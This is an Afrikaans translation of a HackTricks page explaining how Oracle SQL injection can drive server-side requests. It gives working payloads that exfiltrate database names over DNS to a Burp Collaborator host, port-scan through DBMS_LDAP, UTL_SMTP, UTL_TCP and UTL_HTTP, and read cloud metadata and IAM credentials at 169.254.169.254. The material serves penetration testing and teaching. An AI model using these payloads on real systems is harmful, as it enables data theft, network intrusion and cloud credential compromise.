Oracle injection

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Dien hierdie pos 'n wayback masjien kopie van die verwyderde pos van https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Die gebruik van Oracle om Out of Band HTTP en DNS versoeke te doen is goed gedokumenteer, maar as 'n middel om SQL data in inspuitings te eksfiltreer. Ons kan altyd hierdie tegnieke/funksies aanpas om ander SSRF/XSPA te doen.

Om Oracle te installeer kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by Appsecco, Abhisek Datta, het my gewys na https://github.com/MaksymBilenko/docker-oracle-12c wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel.

Ek het die docker opdrag met die --network="host" vlag gedraai sodat ek Oracle as 'n inheemse installasie met volle netwerktoegang kon naboots, vir die duur van hierdie blogpos.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle-pakkette wat 'n URL of 'n Gasheer/Poortnommer-spesifikasie ondersteun

Om enige pakkette en funksies te vind wat 'n gasheer en poort spesifikasie ondersteun, het ek 'n Google-soektog op die Oracle Database Online Documentation gedoen. Spesifiek,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Die soektog het die volgende resultate teruggegee (nie almal kan gebruik word om uitgaande netwerk te voer nie)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Hierdie ruwe soektog slaag duidelik oor pakkette soos DBMS_LDAP (wat die deurgee van 'n gasheernaam en poortnommer toelaat) aangesien die dokumentasiebladsy jou eenvoudig na 'n ander plek verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het.

In elk geval, kom ons kyk na sommige van die pakkette wat ons ontdek het en hierbo gelys het.

DBMS_LDAP.INIT

Die DBMS_LDAP pakket stel toegang tot data van LDAP-bedieners toe. Die init() funksie inisieer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument.

Hierdie funksie is voorheen gedokumenteer om die eksfiltrasie van data oor DNS te toon, soos hieronder

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

However, gegewe dat die funksie 'n hostname en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om soos 'n poortskandeerder te werk.

Hier is 'n paar voorbeelde

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort wat oop is, dui.

UTL_SMTP

Die UTL_SMTP pakket is ontwerp om e-posse oor SMTP te stuur. Die voorbeeld wat op die Oracle dokumentasiewebwerf verskaf word, wys hoe jy hierdie pakket kan gebruik om 'n e-pos te stuur. Vir ons is die interessante ding egter die vermoë om 'n gasheer- en poortspesifikasie te verskaf.

'n Grof voorbeeld word hieronder getoon met die UTL_SMTP.OPEN_CONNECTION funksie, met 'n tydsduur van 2 sekondes.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

A ORA-29276: transfer timeout dui aan dat die poort oop is, maar geen SMTP-verbinding tot stand gebring is nie, terwyl 'n ORA-29278: SMTP transient error: 421 Service not available dui aan dat die poort gesluit is.

UTL_TCP

Die UTL_TCP pakket en sy prosedures en funksies laat TCP/IP-gebaseerde kommunikasie met dienste toe. As dit geprogrammeer is vir 'n spesifieke diens, kan hierdie pakket maklik 'n manier in die netwerk word of volle Server Side Requests uitvoer, aangesien alle aspekte van 'n TCP/IP-verbinding beheer kan word.

Die voorbeeld op die Oracle-dokumentasiewebwerf toon hoe jy hierdie pakket kan gebruik om 'n rou TCP-verbinding te maak om 'n webblad te verkry. Ons kan dit 'n bietjie eenvoudiger maak en dit gebruik om versoeke na die metadata-instantie te maak, byvoorbeeld, of na 'n arbitrêre TCP/IP-diens.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessant genoeg, weens die vermoë om rou TCP versoeke te vervaardig, kan hierdie pakket ook gebruik word om die Instansie meta-data diens van alle wolkverskaffers te ondervra, aangesien die metode tipe en addisionele koppe alles binne die TCP versoek oorgedra kan word.

UTL_HTTP en Web Versoeke

Miskien is die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection tutoriaal daar buite die UTL_HTTP pakket. Hierdie pakket word deur die dokumentasie gedefinieer as - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

U kan dit ook gebruik om 'n paar rudimentêre poortskandering uit te voer met vrae soos

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

A ORA-12541: TNS:no listener of TNS:operation timed out is 'n teken dat die TCP-poort gesluit is, terwyl 'n ORA-29263: HTTP protocol error of data 'n teken is dat die poort oop is.

'n Ander pakket wat ek in die verlede met verskillende sukses gebruik het, is die GETCLOB() metode van die HTTPURITYPE Oracle abstrakte tipe wat jou toelaat om met 'n URL te kommunikeer en ondersteuning bied vir die HTTP-protokol. Die GETCLOB() metode word gebruik om die GET-respons van 'n URL as 'n CLOB datatipe.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated